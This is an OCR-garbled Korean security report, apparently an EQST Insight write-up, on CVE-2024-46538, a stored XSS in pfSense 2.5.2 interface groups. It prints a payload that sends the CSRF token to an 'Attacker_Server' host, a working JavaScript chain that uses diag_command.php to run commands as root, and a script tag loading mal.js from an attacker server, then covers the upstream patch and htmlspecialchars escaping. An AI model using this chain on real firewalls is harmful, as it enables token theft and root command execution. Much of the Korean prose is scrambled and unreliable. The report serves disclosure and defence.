TAE XML &2 3t ol 3 S %3l /cf/conf/config.xml 3ol # &=},

[2.5.2-RELEASE ]l [rootepfSense.skshieldus.coml etcsinc: cat ~scf-sconf-sconfig.xml i

qrep EQSTtest
| <members>E5Ttest {/members>

% 14. /cf/conf/config.xml Q] Xﬁ}

4 XML(eXtensible Markup Language): tlo|8 A& 2 A4S 98] uetd 2

p
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A2 config.xml HOlE &= 7]E9 array o2 THA] 9Jo] config WSrol A 43kt},
/* re-read configuration */

/* NOTE: We assume that the file can be parsed since we wrote it. */

[$config = parse_xml_config("{$g[ ' conf_path']}/config.xml"”, $g['xml_rootobj']}; |

13 15. config.xml B¢ config W9 A3

(3) /usr/local/www/interfaces_groups.php
interfaces_groups.php = A&¥ <QEHH O~ IF HEE 3}
F efxlo] WAE= memberses WS FHo= AL ooy g

init config arr(array('ifgroups’, "ifgroupentry'));
a1

Uepbs sol At XSS

|$a ifgroups = &%config[ 'ifgroups’ ][ 'ifgroupentry’

<?php foreach (%a ifgroups as $i =» $ifgroupentry):

[Emembers arr = explode(” ", $ifgroupentry]’'members’']);| o

ISmemberses = implode(", ", Smemberses arr); |o

o lecho $memberses; |

@ a_ifgroupsol] FZ WEEZHA config Aol AFE Ao~ 15 FAHE AH3)
@ strd?l ifgroupentry W49 members 7)o | BE= S arrayF o2 A3
@ «ddo] A o]F, 2¥o A WSt FE UA] strP oz g,

@ 3WollA strio=z Wslkst ghs FHo|A|d &g,

4 =9 I ol A H o L e R A 31A] F=tt whp A, (D
/src/usr/local/www/interfaces_groups_edit.php o4 A3t members | E7} 1=
=99t} JavaScript 2 HEE ofgle} o] et AdE= AS &0 5 A

msense System ~ Interfaces ~

192.168.102.52 L1 &:

192.168.102.52

Interfaces / Interface Groups / Ed

Interface Group Configuration

Group Name EQSTtest

Group Description EQSTtest

A group description may be entered pre for administrative reference (not parsed)

[ ssvg/onload=alert(document.gémain)=|
LAN

Group Memb

NOTE: Rfes for WA type interfaces in groups do not contain the reply-to mechanism
UAN typically relies. More Information

¥ 16. JavaScript 23 HE AF g9l

[e)

QHFH o]l & 4 dste] & A+ JavaScript HHIIE A4YE F U&5S &

=

o

N
%0,
%)
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Step 2. |44
1) CSRF(Cross-Site Request Forgery)
CSRF + 1 FHekd 349
A4S AW e st FEste WA o)t
A5, BAAQ aF 151% 8AHE FEEx
R AREShthE oA ¥

_&

pfSense ¢ 7§, CSRF
csrfMagicToken W<l A3t} 18} CSRF Token &
we oteld sAYES A B A,

sz, 3447t o AHgabe Ae
AgA 24 o3

| e By 5
e w)a) Wit ey

_h' 01[ r‘|—’ r—|—f

jsoz CSRF Token
XSS %49?%51

Ko
=
A% 7% A3t 9L

]7 :é-L

ATt

olga Aol orgt

I3 A AT

T+&3sle] JavaScript
o 91& 4%, oblsl

= 07T,

<svg/onload=location="https://Attacker_Server?token="+csrfMagicToken>

AR} A §-47F 9 2aHEV A4YH interfaces_groups.php o 5

CSRF Token & &3 <

T

ATt

S

upen w

nich Multi-WAN typically relies. More Information

Group Membere <svg/onload=location. href="https:// 2
LAN
NOTE: Hules for WAN type interfaces in groups do not contain the reply-to mechanism

client_ip:

» headers {14}
method: GET
path: /

wquery {1}

token:
https://

5id:c176a961312a%bc8e27d3317a6d96d853c392060,1738267363

url:

:f ?token=51d:c176a9613123%c8e27d3317a6d96d853c392068,17368867363

a9 17. & A CSRF Token 23

2) pfSense Command Prompt
pfSense oAl #E A} AILES 7Hx

= 5 4ol ]l Ds‘%’% A AE o] o M= A3

Rlisense

Systemn ~

COMMUNITY EDITION

A= otdlel #o] Command Prompt W75 &3] PHP
AT}

Diagnostics ~ Help =

Diagnostics / Command Prompt

Advanced Users Only

The capabilities offered here can be dangerous. No support is available. Use them at your own risk!

Execute Shell Command

| Command |

E n OCiear

ARP Taple
Authent|cation

Backup &Restore

DNS Lookup
Edit File

Factory Defaults
Halt System
Limiter Info

NDP Table

% 18. Command Prompt =+
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Command Prompt oA o] HHES 23
Token ¥ &7 &34L BUA ).

s}k
=

W], diag_command.php o o}zfe} Zo] CSRF

Request

Pretty Raw Hex

24 | Content-Disposition: form-data; name="__csrf_magic”

26 | sid:Bcedb51aa3cBd311bfbb5a371a472a6cB407b22c, 1730860065
27 | -—----- WebKitFormBoundaryTXT540501BKc9420

28 | Content-Disposition: form-data; name="txtCommand"

—————— WebKitFormBoundaryTXT54D501BKc0420
Content-Disposition: form-data; name="txtRecallBuffer”

4] 1s
35 | ------ WebKitFormBoundaryTXT540501BKc9420
36 | Content-Disposition: form-data; name="submit™
38 | EXEC
(:) {::} & ||| | search
Response
Pretty Raw Hex Render
327 <div class="panel-body">
328 <div class="content">
329 <prey

apple-touch
bandwidth_by_ip.php
browserconfig.xml
classes

crash reporter.oho

android-chrome-192x192.png
android-chrome-512x512.png

¥ 19. Command Prompt £%

3) 34 23HYE T4
pfSense XSS FHeFd & o] &
ARro 2 qle] wejo] A

$ & vk 34 2adE 74 A4 ved 2
infosec
G HTML
= g > <7>
[ —
FormData fetchz DOMParserz=
N o Data X S=¢t H|o|E
U S e

a3 20, 33 A3YE FA 33
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(1) FormData Z2A 43

92X, Command Prompt oA &73= dgnyELS L3 7o),
o0& a3
__csrf_magic CSRF 34 dtof o2 2838L= CSRF Token
txtCommand oM g HHO
txtRecallBuffer o Mt HHOE XE3St= Buffer
submit 8% SXZ FA|, DOWNLOAD, UPLOAD, EXEC, EXECPHP & &fLt
dIPath oY CH2EE Al CH2EEY oo Z=2
ulfile oY YP2E A YREog oyl U oY 8
txtPHPCommand PHP 2 Adligt 3L

JavaScript ¢ FormData 7”Xﬂ 23lH HTML Hl28 29X ¢4Y8% form B2 23S
By A v s & H:} 7_} 2} e = formData.append & 58 #eS F71E &=
ATt dE 59, %101]/\1 1d A 23S W7 Y& CSRF Token & ¥¢3F 2349 zt

stebu)E FA JavaScript = A= oot gt

var formData = new FormData();

formData.appendE csrf_magic”, csrfMagicToken);
formData.append("txtCommand", "1d");
formData.append("txtRecallBuffer", "id");
formData.appendg"submit", "EXEC");
formData.append("dlPath", "");
formData.append("ulfile", new Blob(), "");
formData.append("txtPHPCommand", "");

(2) tlelH

83 2
ge7 2L 89S /1 fetch §4E 28T 5 A

let promise = fetch(url, {
method: "GET", // POST, PUT, DELETE, etc.
headers: {
// the content type header value is usually auto-set
// depending on the request body
"Content-Type": "text/plain;charset=UTF-8"

B
body: undefined, // string, FormData, Blob, BufferSource, or URLSearchParams
referrer: "about:client", // or "" to send no Referer header,
// or an url from the current origin

no-referrer, origin, same-origin...
mode: "cors", // same-origin, no-cors
credentials: "same-origin", // omit, include
cache: "default", // no-store, reload, no-cache, force-cache, or only-if-cached
redirect: "follow", // manual, error
integrity: "", // a hash, like "sha256-abcdef1234567890"
keepalive: false, // true
signal: undefined, // AbortController to abort request
window: window // null

1)

referrerPolicy: "strict-origin-when-cross-origin", // no-referrer-when-downgrade,

Z} g E POST &3 oz Bl 5 &9 wolok 7] wio] th&3 o] JavaScript

Z58 FAT 5 Ak

fetch("/diag_command.php", {
method: "POST",
body: formData
}).then(response => response.text()).then(data => console.log(data))
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S 2ayest AaE 5 Fe ke tewt go e A2 U 5 gtk
fetch("/diag_conmand, php”,

method: "POST",

body: formbata
Fi.then(response =+ response.text()).then{data =» console. log{datal)

¢ v Promies {<paadingsf +

<IDOCTYPE htm =
<html lang="en">
<heads-
meta name="viewport” content="width=device-width, initial-scale=1"=

<link rel="apple-touch-icon-precomposed” href="/apple-touchsapp le-t ouch-i con-i phone-R0x60-precomposed
<link rel="apple-touch-icon-precomposed” sizes="6B0x60" href="/apple-touchsapple-touch-icon—ipad-76x76
<link rel="apple-touch-icon-precomposed” sizes="114x114" href="/apple-touch/apple-touch-icon-iphone-r
<link rel="apple-touch-icon-precomposed” sizes="144x144" href="/apple-touch/apple-touch-icon-ipad-ret
<link rel="icon” type="imagespna” sizes="32x32" href="/favicon-32=32.png >

<link rel="icon” type="imagespna” sizes="16x16" href="/favicon-16216.png">

link rel="manifest” href="/manifest. json™>

<link rel="mask-icon” href="/safari-pinned-tab.swg” color="#5bbad5">

<meta name="theme-color” content="#f{f{ff">

a3 21. fetch ¥4 49 A7

fetch $t4-2 W S92 HTML HI2Z FAFHY o] 2 AAZ Ldolrry] HA gt}
webA | HolElE HA FEe= HAo]l FDadd, o] DOMParser & &3] F3a =
At} div Bl W class 49 content & FE&3= oA Z=E vpS3 2o

fetch("/diag_command.php", {
method: "POST",
body: formData
}).then(response => re - sponse.text()).then(data => {
const parser = new DOMParser();
const doc = par - ser.parsefFromString(data, "text/html");
const contentDiv = doc.querySelector("div.content");})

o= ol HA|l WEo] As) Ay class A4 #kol content 1 div Bl Wl $1#]5H7)
o ¢ Z=E AR QT

zdiv class="panel panel-success responsive’:
<div class="panel-heading =<k clagss="panel-title"=3hell Output - id</h2=</div=
<div class="pane|-body ">
<div class="content "=
sprecuid=00root) gid=0{whee1) groups=0{wheel )< /pre= <fdiye
< dive
240 y=

a9 22.div Bl ] XS HHo] 43 Ax
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ok 9] dAle} o] console.log B EH3E A 9oE oS3 o] R =9 console
ol Ak gkl 7hssitt

ik Lo Elzments Console Sources Metwork Performance Mermaory Application Secu

@ tpr @

Fithen(response == regponse.text()). then(data == {
const parser = new O0MParser ().
const doc = parsef. parseFromString(data, “text html ")
const contentDiv®F doc.querySelector("div.content ™)
fconzole. logicontentliv, textLontent )

Filter

rli

<« b Pramies {<oarding)}

fuid=0({root ) gid=0{whee!} groups=0{whes|}
a3 23. console FoA T A 4 9= &Y

TN S flE vt o] AdE E8E we alert S H9E AR A F vk

if (contentDiv) {
alert(contentDiv.textContent);
} else {
alert("No content found");

e A A A Cid HWHES Addsta, 1 AFRE alert o2 H9-= JavaScript ZE=EE

TS et gt

var formData = new FormData(),
formData.append("__csrf maglc , cerMaglcTo - ken);
formData.append("txtCommand", "id"
formData.append(’ "txtRecallBuffer” , "1d"),
formData.append("submit", "EXEC");
formData.append("dlPath", "");
formData.appendg ‘'ulfile", new Blob(; "y
formData.append("txtPHPCommand", "");
fetch("/diag_command.php", {
method: "POST",
body: formData
}).then(response => response.text()).then(data => {
const parser = new DOMParser();
const doc = par - ser.parseFromString(data, "text/html");
const contentDiv = doc.querySelector("div.content");
if (contentDiv) {
alert(contentDiv.textContent);
} else {
alert("No content found");

}

EQST insight | 44



%
ofl
Ky
[
il
11t
09;,5
P‘L'
g
v
dlo
K
my
o,
o8]

o
nt
o
o
fru
&
i
09;,5
iR
i)
il
e
L)
ok
O

ﬁsense 192.168.102.52 L} 2:

COMMUNITY EDITION

uid=0(root) gid=0{wheel) groups=0(wheel}— -«

Status/ Das + @

@ DevTools is now available in Korean! | Always match ChMine’s language Switch DevTools to Korean Don't show again
is LD Elements  Console  Sources  Metworkf Performance  Memory  Application  Security Lighthouse . > AT50 B743 893 8
M @ topvy @& Y Filter Default levels v = 743 lssues: B 743 |

svar formlata = new Formlatal):
fornbata.append( " __csrf_magic’, csrfMagicToken);
fornData, append! " txtCommand”, "id");
formbata.append( “txtRecal IBuffer”, "id"):
fornData. append] “submit”, "EXEC");
formData.append( “dIPath”, ""J:
fornData, append( "ulfi1e”, new Blob(), "'
fornData. append] "txtPHPCommand”, ")
fetch("/diag_command.php”, {
method: "POST",
body: formData
F1.then{response == response.text()).then(data =» 4
const parser = new DOMParser();
const doc = parser.parseFromStringidata, “text himl™):
const contentDiv = doc.querySelector( div.content”);
it (contentOiv) o
alerticontentDiv. textContent);
belse |
alert({"MNo content found”):

a9 24.%id 23 A3} alert Fo 2 £¥

3) T84 AW 74 £ ¥4 23 4E &4

interface_groups_edit.php 914 members W= oF¢} Zo] whitespace(® “) 7]|Fo =
explode $t7} AHt}. o] Z} 243+ comma+ whitespace(”, 7) 7|2 % implode
g7 AdE 7] wiEel 199 JavaScript ZEE ¥ A A7 QT

Jan . 0 T
[Emembers arr = explode( , Sifgroupentry[ ‘members’']);|
. ] v =
[$memberses = implode(", ", $memberses arr); |
echo $memberses;
3% 25. members ¥ 28 3R
57 =N o] = — « « “oow« =] = 1%
T4 FEL AYSULE © o < 2 @] AP 2aYE Aol oy
= [o Elements Consale  Sources Network Performance Memary Application Security Lighthouse Recorder DOM Invader
[+ <sor ot
var, formData, =, new, FormData();formData.append(”__csrf_magic”.. csriMagicToken):fornData.append(”tutConmand”,, "id");formData.appendl “txtRecal (Buffer”, .
"id"):fornData.append("submit”,, "EXEC"):formData.append(”diPath”,. “")fornData.append( ulfile”,, new, Blob().. ""):fornData.append("txtPHPConmand”,, "").fetchi”/diag_command.php™, |
{method:, "POST",body:, formlata}).then{response, =#, response.text{)).then{data, =», {const, parser, =, new, OOMParser().const, doc, =, parser,parsefrom3tring(data, .
“text/html")iconst, contentDiv, =, doc.guervSelector(div.content”):if, (contentDiv), {alert{contentDiv.textContent):}, else, {alert("Mo. content, found™)irr)
</script>

html  body##32  <l-—>

Console

10] topvy | @ Y Filter
DOM Invader is NOT enabled.

@B 4 preload for '<URL>" is foundgebut is not used because the request credentials mode does not match. Consider taking a look at crossorigin attribute,

@ Uncausht SyntaxError: Unexpected token . |

a9 26. A9d 7E 29 A 24
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webA, B2 JavaScript =2 HHElElE 9 AW E PAE AL, o]B d83 5
#o] whitespace §lo] 7+eksk HTML EH:LEE QR oA FA JavaScript ZE
o F= G4 A %01571] Hr.

‘ <script/src="https://Attacker_Server/mal.js'></script>

o]% (2) Hlolg &3 % oA A Z=E WIS EE AWE A Yo
HTML EjZ2E sk Azt A3kS 717 Al A interfaces_groups.php H<- Al E}%j
ol Q1o Weo] A= RS st 5= 9l

=2

msense System ~ Interfaces =

COMMUNITY EDITION

192.168.102.52 L} &:

uid=0(root} gid=0(wheel) groups=0(wheel) =«

Interfaces / Interface Groups / Eq

are allgfved. The group name cannot end with a

Interface Group Configuration

Group Name EQSTtest
Only letters (A-Z), digits (0-9) and "
digit

Group Description EQSTtest
A group description may be enteréd here for administrative reference (not parsed).

Escript/sre="https:/y s
LAN

1

Group M 'S

NOTE: Ruls for Wi type interfaces in groups do not contain the reply-to mechanism
FWAN typically relies. More Information

a3 27. 94 HE A9 2

W s et

CVE-2024-46538 ©] ¥7/%”] #, zhao mouren ©¢]gh= A7} ald XSS FHekxo tfs)
o3 Yoq&s &0E 4
*URL: https://redmine.pfsense.org/issues/15778

A= o] & who|| o] FojH I, ~rFE WA YIS olgdlA el 71sEtt
*URL:
https://github.com/pfsense/pfsense/commit/9a843098¢cf3f28¢c27¢c3e615¢c4c788¢c84bd29df6f

SlEHo]2 IF AHAHE HOFE interfaces_groups.php LS olge} o] HTML <lE E]
A% F 29HEE 225 $49A
unset{$iflist);
fmemberses = implode(", ", $memberses_arr);
echo fmemberses;
echo htmlspecialchars(imemberses);
if (count($members_arr) »= 18) {

echo '&hellip;";

1% 28. interfaces_groups.php &3 A}3t
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ClEjdlol~ IF ARE 4 % F7}8+= interfaces_groups_edit.php 33L& olge} 7o)
YH¥ members W7l Fa&d QA Fo]Ad Aot FUHE F URE AT AABS
7kt

fvalidmembers = [];
foreach (% _POST['members'] as %ifname) {
if (array_key_exists(%ifname, $interface_list)) {
$validmembers[] = $ifname;
T else {
$input_errors[] = gettext("Submission contained an invalid interface");
T
¥

if (isset(%_POST[ 'members'])) {

fmembers = implode{"™ ", %_POST['members']};
if (lempty($validmembers)) {

fmembers = implode(" ", %validmembers);
} else {

Emembers = "";

23 29. interfaces_groups_edit.php +3 A3t

3 oFst H%%i(2.5.2)°] old pfSense & Al&ste Aol 7Hg bk wwoloh, FHeksk WA
Ab-go] BV} ¢ -2 pfSense o] Patch 7|5 &3 Z= 4 Y9 7Ntz WX &

At AY LA Eoﬂfﬂ HTML Entity = X &+

2',

1) pfSense Patch 7]%5S E3 1
a9 28, 29 29 9} Zo] 4 YIS 7|wte R i xst= WHS oy )
System > Patches > Add New Patch & H<-3kt}.

lsense System - Interfaces ~ Firewall ~

COMMUNITY EDITION
Advanced
SyStEm / Cert. Manager (2]
General Setup

— .| High Avail. Sync

Logout {admin)
Package Manager

Routing Auto
Fetch Apply Revert View Debug Apply Actions

Custom Sys
Descrip Setup Wizard

L

User Manager

Recommended System Patches for Netgate pfSense® software version 2.5.2

a3 30. 7 WY 7wk A 1

o] % URL/Commit ID @&l FHeFdo]l X9 223 = Yoo T7l F4
https1//github.com/pfsense/pfsense/comm1t/9a843098cf3f28027c3e615040788c84bd29df6f
5 Ygsi
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E‘S@nse nterfaces Firewall ~

COMMUNITY EDITION

System / Patches/ Edit e
Description

Enter a description here for reference

URL/Commit ID https://github com/pfsense/pfsense/commit/9a843098cf3f28c27c3et |

Enter a URL to a patch, or 8 commit ID from the main github repasitory (NOT the tools or packages repos!)

a9 31. 3 W9 7t 51X 2

ok, oldel WA WA weslel A etk SiAF AAEHOoR ofFelqA gl
g BA AL F ol heIEdA 47 2= A s AL Agd

2) 2235 A3 £ T HA

pfSense & PHP #7402 FA = o] 9lvh PHP ¢ A9, 55%A& HTML Entity & |83l
htmlspecialchars —’Fi XSS #4& Wojgd = Q) T 4= XSS FZo AMgE =
&3 2o E4EAES HTML Entity 2 %] 831}
-.':xl‘ Entity
& &amp;
" &quot;
! &apos;
< &lt;
> agt;

interfaces_groups.php ©° memberses & E3H3l= Hw2 HTML Entity 2 X335t
Ao nt: ¥4 2AHE APS IS 5 Utk

echo $memberses ;}——lecho htmlspecialchars($memberses) ;|
19 32. HTML Entity X3 oA
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htmlspecialchars 32 skl <, >7F Z42F &lt;, &gt = X 3k% 7] o] ofegfe} 7o)
2AYHE Hart AYEA e

msense System ~ Interfaces ~ Firewall ~ 5 5 VPN Status « Dia

COMMUNITY EDITION

Interfaces / Interface Groups =@

Interface Assignments Interface Groups Wireless VLANs QinQs PPPs GREs GiIFs Bridges LAGGSs

Interface Groups

Name Members Description Actions

| EQSTtest <script/src= 2.js'=</script= EQSTtest y‘ﬁ |

a9 33. ¥4 23 HEJ 4YHA dE Ee

ok, o= QIEH o)l x IFe] FHEE T o HoXdA ¥4 AAHEV AgE hsAdol
Q7] o ehdd sfx HhHE olUth Folmtt 20249 11 9 7], pfSense 2.5.2 & 34
ARDE HA gorma ALESHA] S AS A

« URL: https://docs.netgate.com/pfsense/en/latest/releases/versions.html
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B Z3 AIO|E

[=]

» Wikipedia (FreeBSD) : https://en.wikipedia.org/wiki/FreeBSD

« pfSense (About pfSense) : https://www.pfsense.org/about-pfsense/

* php.net (Returning References) : https://www.php.net/references.return

* php.net (htmlspecialchars) : https://www.php.net/manual/en/function.htmlspecialchars.php

» PortSwigger (XSS) : https://portswigger.net/web-security/cross-site-scripting

« PortSwigger (CSRF) : https://portswigger.net/web-security/csrf

« EQST Insight Special Report (CSRF) :
https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_Special%20Report_2
02301.pdf&r_fname=20230113172545386.pdf

» EQST Insight Special Report (XSS) :
https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED %9
5%A9%EB%B3%B8_202210.pdf&r_fname=20221017112014953.pdf

» Netgate Docs (Versions of pfSense oftware and FreeBSD :
https://docs.netgate.com/pfsense/en/latest/releases/versions.html#pfsense-ce-software

» Netgate Docs (Versions of pfSense oftware and FreeBSD :
https://docs.netgate.com/pfsense/en/latest/releases/versions.html#pfsense-ce-software

« pfSense issues # 15778 : https://redmine.pfsense.org/issues/15778
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